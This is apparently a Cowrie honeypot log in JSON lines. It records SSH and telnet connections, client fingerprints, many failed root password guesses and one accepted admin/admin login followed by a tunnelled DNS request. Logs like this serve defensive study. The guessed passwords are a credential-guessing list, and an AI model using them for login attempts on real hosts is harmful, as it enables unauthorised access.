{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:18.797018Z","src_ip":"207.154.230.149","session":"0000da02d3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:18.875115Z","src_ip":"207.154.230.149","session":"0000da02d3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zbyszek","message":"login attempt [root/zbyszek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:18.893476Z","src_ip":"163.227.230.54","session":"90d31b2fab55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master12345","message":"login attempt [root/master12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:19.196202Z","src_ip":"207.154.230.149","session":"0000da02d3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":33774,"dst_ip":"159.203.135.109","dst_port":22,"session":"8288d80c6e95","protocol":"ssh","message":"New connection: 108.167.177.203:33774 (159.203.135.109:22) [session: 8288d80c6e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:19.907916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:19.912529Z","src_ip":"108.167.177.203","session":"8288d80c6e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:19.938003Z","src_ip":"108.167.177.203","session":"8288d80c6e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zav","message":"login attempt [root/zav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:20.073329Z","src_ip":"108.167.177.203","session":"8288d80c6e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:20.141062Z","src_ip":"163.227.230.54","session":"90d31b2fab55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:20.280867Z","src_ip":"207.154.230.149","session":"0000da02d3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:21.103300Z","src_ip":"108.167.177.203","session":"8288d80c6e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33424,"dst_ip":"10.17.0.5","dst_port":23,"session":"3043d15fa79b","protocol":"telnet","message":"New connection: 192.119.13.58:33424 (10.17.0.5:23) [session: 3043d15fa79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:27.246315Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":35218,"dst_ip":"159.203.135.109","dst_port":22,"session":"14fd3a5859aa","protocol":"ssh","message":"New connection: 119.28.117.200:35218 (159.203.135.109:22) [session: 14fd3a5859aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:27.255452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:27.259603Z","src_ip":"119.28.117.200","session":"14fd3a5859aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:27.498036Z","src_ip":"119.28.117.200","session":"14fd3a5859aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"health","message":"login attempt [root/health] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:28.484876Z","src_ip":"119.28.117.200","session":"14fd3a5859aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:29.726036Z","src_ip":"119.28.117.200","session":"14fd3a5859aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":48996,"dst_ip":"159.203.135.109","dst_port":22,"session":"82d7f970fdb7","protocol":"ssh","message":"New connection: 43.134.27.11:48996 (159.203.135.109:22) [session: 82d7f970fdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:35.221945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:35.234524Z","src_ip":"43.134.27.11","session":"82d7f970fdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39460,"dst_ip":"159.203.135.109","dst_port":22,"session":"3794c5bcff67","protocol":"ssh","message":"New connection: 103.173.227.57:39460 (159.203.135.109:22) [session: 3794c5bcff67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:35.407458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:35.412121Z","src_ip":"103.173.227.57","session":"3794c5bcff67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:35.473596Z","src_ip":"43.134.27.11","session":"82d7f970fdb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:35.656980Z","src_ip":"103.173.227.57","session":"3794c5bcff67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wwerty1","message":"login attempt [root/2wwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:36.391533Z","src_ip":"103.173.227.57","session":"3794c5bcff67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXSW@","message":"login attempt [root/!QAZXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:36.458805Z","src_ip":"43.134.27.11","session":"82d7f970fdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":49420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7532b92ad382","protocol":"ssh","message":"New connection: 101.126.22.12:49420 (159.203.135.109:22) [session: 7532b92ad382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:36.669217Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40728,"dst_ip":"10.17.0.5","dst_port":22,"session":"278ce0028e35","protocol":"ssh","message":"New connection: 87.251.64.176:40728 (10.17.0.5:22) [session: 278ce0028e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.423008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.427035Z","src_ip":"87.251.64.176","session":"278ce0028e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.525191Z","src_ip":"87.251.64.176","session":"278ce0028e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.637786Z","src_ip":"103.173.227.57","session":"3794c5bcff67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.700389Z","src_ip":"43.134.27.11","session":"82d7f970fdb7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.814491Z","src_ip":"87.251.64.176","session":"278ce0028e35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:37.913536Z","session":"278ce0028e35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:38.011398Z","src_ip":"87.251.64.176","session":"278ce0028e35","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:38.051210Z","src_ip":"101.126.22.12","session":"7532b92ad382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:38.054831Z","src_ip":"101.126.22.12","session":"7532b92ad382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:38.110141Z","src_ip":"87.251.64.176","session":"278ce0028e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.481929302215576,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:38.769366Z","src_ip":"192.119.13.58","session":"22514a22c7b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":39092,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd897dc6cd0","protocol":"ssh","message":"New connection: 115.178.75.242:39092 (159.203.135.109:22) [session: 1fd897dc6cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:49.742518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:49.751793Z","src_ip":"115.178.75.242","session":"1fd897dc6cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:49.939315Z","src_ip":"115.178.75.242","session":"1fd897dc6cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scp","message":"login attempt [root/scp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:50.719431Z","src_ip":"115.178.75.242","session":"1fd897dc6cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:51.910576Z","src_ip":"115.178.75.242","session":"1fd897dc6cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46976,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a35cb1b69b0","protocol":"telnet","message":"New connection: 192.119.13.58:46976 (10.17.0.5:23) [session: 1a35cb1b69b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:53.857975Z"}
